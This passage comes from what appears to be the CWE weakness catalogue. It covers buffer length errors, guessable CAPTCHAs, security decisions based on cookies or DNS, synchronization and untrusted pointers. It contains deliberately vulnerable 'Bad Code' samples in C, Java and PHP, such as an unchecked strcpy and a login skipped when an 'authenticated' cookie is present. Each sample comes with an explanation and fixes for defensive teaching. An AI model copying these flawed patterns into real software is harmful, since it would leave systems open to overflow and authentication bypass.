This code does not place any restriction on the number of authentication attempts made. There should be a limit on the number of authentication attempts made to prevent brute force attacks as in the following example code.

C/C++ Example: *Good Code*

```
int count = 0;
while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
  if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
    if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
      isValidUser = AuthenticateUser(username, password);
    }
  }
  count++;
}
if (isValidUser) {
  return(SUCCESS);
}
else {
  return(FAIL);
}
```

Observed Examples

Reference	Description
CVE-2002-1876	Mail server allows attackers to prevent other users from accessing mail by sending large number of rapid requests.

View Audience

Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Software Customers

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

CWE-804: Guessable CAPTCHA

Weakness ID: 804 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor.

Extended Description

An automated attacker could bypass the intended protection of the CAPTCHA challenge and perform actions at a higher frequency than humanly possible, such as launching spam attacks.

There can be several different causes of a guessable CAPTCHA:

An audio or visual image that does not have sufficient distortion from the unobfuscated source image.

A question is generated that with a format that can be automatically recognized, such as a math question.

A question for which the number of possible answers is limited, such as birth years or favorite sports teams.

A general-knowledge or trivia question for which the answer can be accessed using a data base, such as country capitals or popular actors.

Other data associated with the CAPTCHA may provide hints about its contents, such as an image whose filename contains the word that is used in the CAPTCHA.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-independent

Technology Classes

- Web-Server *(Sometimes)*

Common Consequences

Access Control
Other
Bypass protection mechanism
Other

When authorization, authentication, or another protection mechanism relies on CAPTCHA entities to ensure that only human actors can access certain functionality, then an automated attacker such as a bot may access the restricted functionality by guessing the CAPTCHA.

Likelihood of Exploit

CWE-805: Buffer Access with Incorrect Length Value

Weakness ID: 805 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.

Extended Description

When the length value exceeds the size of the destination, a buffer overflow could occur.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C *(Often)*
- C++ *(Often)*
- Assembly

Common Consequences

Integrity
Confidentiality
Availability
Execute unauthorized code or commands

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

Availability
DoS: crash / exit / restart
DoS: resource consumption (CPU)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Likelihood of Exploit

Medium to High

Detection Methods

Automated Static Analysis
High

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis
Moderate

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring manual methods to diagnose the underlying problem.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example: *Bad Code*

```
void host_lookup(char *user_supplied_addr){
  struct hostent *hp;
  in_addr_t *addr;
  char hostname[64];
  in_addr_t inet_addr(const char *cp);
  /*routine that ensures user_supplied_addr is in the right format for conversion */
  validate_addr_form(user_supplied_addr);
  addr = inet_addr(user_supplied_addr);
  hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
  strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname under the assumption that the maximum length value of hostname is 64 bytes, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

C Example: *Bad Code*

```
int returnChunkSize(void *) {
  /* if chunk info is valid, return the size of usable memory,
  * else, return -1 to indicate an error
  */
  ...
}
int main() {
```

```
  ...
  memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
  ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

In the following example, the source character string is copied to the dest character string using the method strncpy.

C/C++ Example: *Bad Code*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

C/C++ Example: *Good Code*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

Example 4:

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

C++/C Example: *Bad Code*

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
  int success;
  // buffer with size set to maximum size for input to log file
  char buf[LOG_INPUT_SIZE];
  // copy filename to buffer
  strncpy(buf, filename, length);
  // save to log file
  success = saveToLogFile(buf);
  return success;
}
```

However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.

C/C++ Example: *Good Code*

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

Observed Examples

Reference	Description
CVE-2010-4156	Language interpreter API function doesn't validate length argument, leading to information exposure
CVE-2011-0105	Chain: retrieval of length value from an uninitialized memory location
CVE-2011-0606	Crafted length value in document reader leads to buffer overflow
CVE-2011-0651	SSL server overflow when the sum of multiple length fields exceeds a given value
CVE-2011-1848	Use of packet length field to make a calculation, then copy into a fixed-size buffer
CVE-2011-1959	Chain: large length value causes buffer over-read (CWE-126)

Potential Mitigations

Requirements

Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.805.6], and the Strsafe.h library from Microsoft [R.805.7]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

Build and Compilation

Compilation or Build Hardening

Defense in Depth

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

Double check that your buffer is as large as you specify.

When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.

If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Operation
Environment Hardening
Defense in Depth

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.805.2] [R.805.4] and Position-Independent Executables (PIE) [R.805.10].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Operation
Environment Hardening
Defense in Depth

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.805.3] [R.805.6].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Architecture and Design
Operation
Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.805.9]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design
Operation
Sandbox or Jail
Limited

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

CWE-806: Buffer Access Using Size of Source Buffer

Weakness ID: 806 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer.

Extended Description

When the size of the destination is smaller than the size of the source, a buffer overflow could occur.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C *(Sometimes)*
- C++ *(Sometimes)*

Common Consequences

Availability
DoS: crash / exit / restart
DoS: resource consumption (CPU)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

Access Control
Bypass protection mechanism

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit

Medium to High

Demonstrative Examples

Example 1:

In the following example, the source character string is copied to the dest character string using the method strncpy.

C/C++ Example: *Bad Code*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

C/C++ Example: *Good Code*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

Example 2:

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

C++/C Example: *Bad Code*

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
  int success;
  // buffer with size set to maximum size for input to log file
  char buf[LOG_INPUT_SIZE];
  // copy filename to buffer
  strncpy(buf, filename, length);
  // save to log file
  success = saveToLogFile(buf);
  return success;
}
```

However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.

C/C++ Example: *Good Code*

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

Potential Mitigations

Architecture and Design

Use an abstraction library to abstract away risky APIs. Examples include the Safe C String Library (SafeStr) by Viega, and the Strsafe.h library from Microsoft. This is not a complete solution, since many buffer overflows are not related to strings.

Build and Compilation

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include StackGuard, ProPolice and the Microsoft Visual Studio / GS flag. This is not necessarily a complete solution, since these canary-based mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Implementation

Programmers should adhere to the following rules when allocating and managing their applications memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if calling this function in a loop and make sure you are not in danger of writing past the allocated space. Truncate all input strings to a reasonable length before passing them to the copy and concatenation functions

Operation
Environment Hardening
Defense in Depth

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.806.3] [R.806.5] and Position-Independent Executables (PIE) [R.806.7].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Operation
Environment Hardening
Defense in Depth

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.806.5] [R.806.6].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Build and Compilation
Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Weakness Ordinalities

CWE-807: Reliance on Untrusted Inputs in a Security Decision

Weakness ID: 807 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The application uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.

Extended Description

Developers may assume that inputs such as cookies, environment variables, and hidden form fields cannot be modified. However, an attacker could change these inputs using customized clients or other attacks. This change might not be detected. When security decisions such as authentication and authorization are made based on the values of these inputs, attackers can bypass the security of the software.

Without sufficient encryption, integrity checking, or other mechanism, any input that originates from an outsider cannot be trusted.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Confidentiality
Access Control
Availability
Other
Bypass protection mechanism
Gain privileges / assume identity
Varies by context

Attackers can bypass the security decision to access whatever is being protected. The consequences will depend on the associated functionality, but they can range from granting additional privileges to untrusted users to bypassing important security checks. Ultimately, this weakness may lead to exposure or modification of sensitive data, system crash, or execution of arbitrary code.

Likelihood of Exploit

Medium to High

Detection Methods

Manual Static Analysis
High

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

The effectiveness and speed of manual analysis will be reduced if the there is not a centralized security mechanism, and the security logic is widely distributed throughout the software.

Automated Static Analysis - Binary / Bytecode
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Fuzz Tester
Framework-based Fuzzer
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Attack Modeling

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Java Example: *Bad Code*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("role")) {
    userRole = c.getValue();
  }
}
```

Example 2:

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

PHP Example: *Bad Code*

```
$auth = $_COOKIES['authenticated'];
if (! $auth) {
  if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
    // save the cookie to send out in future responses
    setcookie("authenticated", "1", time()+60*60*2);
  }
  else {
    ShowLoginScreen();
    die("\n");
  }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the $auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

Example 3:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Java Example: *Bad Code*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
    authenticated = true;
  }
}
```

Example 4:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

C Example: *Bad Code*

```
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
  trusted = true;
} else {
  trusted = false;
}
```

Java Example: *Bad Code*

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
  trusted = true;
}
```

C# Example: *Bad Code*

```
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
  trusted = true;
```

```
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Observed Examples

Reference	Description
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1.
CVE-2008-6291	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin."
CVE-2009-0864	Content management system allows admin privileges by setting a "login" cookie to "OK."
CVE-2009-1549	Attacker can bypass authentication by setting a cookie to a specific value.
CVE-2009-1619	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1.

Potential Mitigations

Architecture and Design
Identify and Reduce Attack Surface

Store state information and sensitive data on the server side only.

Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [R.807.2]. Apply this against the state or sensitive data that you has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Architecture and Design
Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

With a stateless protocol such as HTTP, use a framework that maintains the state for you.

Examples include ASP.NET View State [R.807.3] and the OWASP ESAPI Session Management feature [R.807.4].

Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Operation
Implementation
Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Architecture and Design
Implementation
Identify and Reduce Attack Surface

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user's session on the server side instead of recording it within external data.

View Audience

Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2010 version), providing a good starting point for web application developers who want to code more securely.

Software Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2010 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

CWE-810: OWASP Top Ten 2010 Category A1 - Injection

Category ID: 810 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2010.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	*78*	*Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')*	***809***	*121*
ParentOf	B	*88*	*Argument Injection or Modification*	***809***	*155*
ParentOf	B	*89*	*Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')*	***809***	*159*
ParentOf	B	*90*	*Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')*	***809***	*168*
ParentOf	B	*91*	*XML Injection (aka Blind XPath Injection)*	***809***	*170*

CWE-819: OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards

Category ID: 819 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2010.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	V	601	URL Redirection to Untrusted Site ('Open Redirect')	**809**	944
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	**809**	1248

References

OWASP. "Top 10 2010-A10-Unvalidated Redirects and Forwards". < http://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards >.

CWE-820: Missing Synchronization

Weakness ID: 820 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.

Extended Description

If access to a shared resource is not synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

Common Consequences

Integrity
Confidentiality
Other
Modify application data
Read application data
Alter execution logic

Demonstrative Examples

The following code intends to fork a process, then have both the parent and child processes print a single line.

C/C++ Example: *Bad Code*

```
static void print (char * string) {
  char * word;
  int counter;
  for (word = string; counter = *word++; ) {
    putc(counter, stdout);
    fflush(stdout);
    /* Make timing window a little larger... */
    sleep(1);
  }
}
int main(void) {
  pid_t pid;
  pid = fork();
  if (pid == -1) {
    exit(-2);
  }
  else if (pid == 0) {
    print("child\n");
  }
  else {
    print("PARENT\n");
  }
  exit(0);
}
```

One might expect the code to print out something like:

PARENT
child

However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:

PcAhRiElNdT
[blank line]
[blank line]

CWE-821: Incorrect Synchronization

Weakness ID: 821 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software utilizes a shared resource in a concurrent manner but it does not correctly synchronize access to the resource.

Extended Description

If access to a shared resource is not correctly synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

Common Consequences

Integrity
Confidentiality
Other
Modify application data
Read application data
Alter execution logic

CWE-822: Untrusted Pointer Dereference

Weakness ID: 822 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The program obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.

Extended Description

An attacker can supply a pointer for memory locations that the program is not expecting. If the pointer is dereferenced for a write operation, the attack might allow modification of critical program state variables, cause a crash, or execute code. If the dereferencing operation is for a read, then the attack might allow reading of sensitive data, cause a crash, or set a program variable to an unexpected value (since the value will be read from an unexpected memory location).

There are several variants of this weakness, including but not necessarily limited to:

The untrusted value is directly invoked as a function call.

In OS kernels or drivers where there is a boundary between "userland" and privileged memory spaces, an untrusted pointer might enter through an API or system call (see CWE-781 for one such example).

Inadvertently accepting the value from an untrusted control sphere when it did not have to be accepted as input at all. This might occur when the code was originally developed to be run by a single user in a non-networked environment, and the code is then ported to or otherwise exposed to a networked environment.

Terminology Notes

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Common Consequences

Confidentiality
Read memory

If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.

Availability
DoS: crash / exit / restart

If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands
Modify memory

If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

Observed Examples

Reference	Description
CVE-2007-5655	message-passing framework interprets values in packets as pointers, causing a crash.
CVE-2009-0311	An untrusted value is obtained from a packet and directly called as a function pointer, leading to code execution.
CVE-2009-1250	An error code is incorrectly checked and interpreted as a pointer, leading to a crash.
CVE-2009-1719	Untrusted dereference using undocumented constructor.
CVE-2010-1253	Spreadsheet software treats certain record values that lead to "user-controlled pointer" (might be untrusted offset, not untrusted pointer).
CVE-2010-1818	Undocumented attribute in multimedia software allows "unmarshaling" of an untrusted pointer.
CVE-2010-2299	labeled as a "type confusion" issue, also referred to as a "stale pointer." However, the bug ID says "contents are simply interpreted as a pointer... renderer ordinarily doesn't supply this pointer directly". The "handle" in the untrusted area is replaced in one function, but not another - thus also, effectively, exposure to wrong sphere (CWE-668).
CVE-2010-3189	ActiveX control for security software accepts a parameter that is assumed to be an initialized pointer.

Relationships

MemberOf	V	*884*	*CWE Cross-section*	***884***	*1323*

Research Gaps

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C++ Secure Coding	MEM10-CPP	Define and use a pointer validation function

Maintenance Notes

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

CWE-823: Use of Out-of-range Pointer Offset

Weakness ID: 823 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The program performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.

Extended Description

While a pointer can contain a reference to any arbitrary memory location, a program typically only intends to use the pointer to access limited portions of memory, such as contiguous memory used to access an individual array.

Programs may use offsets in order to access fields or sub-elements stored within structured data. The offset might be out-of-range if it comes from an untrusted source, is the result of an incorrect calculation, or occurs because of another error.

If an attacker can control or influence the offset so that it points outside of the intended boundaries of the structure, then the attacker may be able to read or write to memory locations that are used elsewhere in the program. As a result, the attack might change the state of the software as accessed through program variables, cause a crash or instable behavior, and possibly lead to code execution.

Alternate Terms

Untrusted pointer offset

This term is narrower than the concept of "out-of-range" offset, since the offset might be the result of a calculation or other error that does not depend on any externally-supplied values.

Terminology Notes

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Common Consequences

Confidentiality
Read memory

If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.

Availability
DoS: crash / exit / restart

If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands
Modify memory

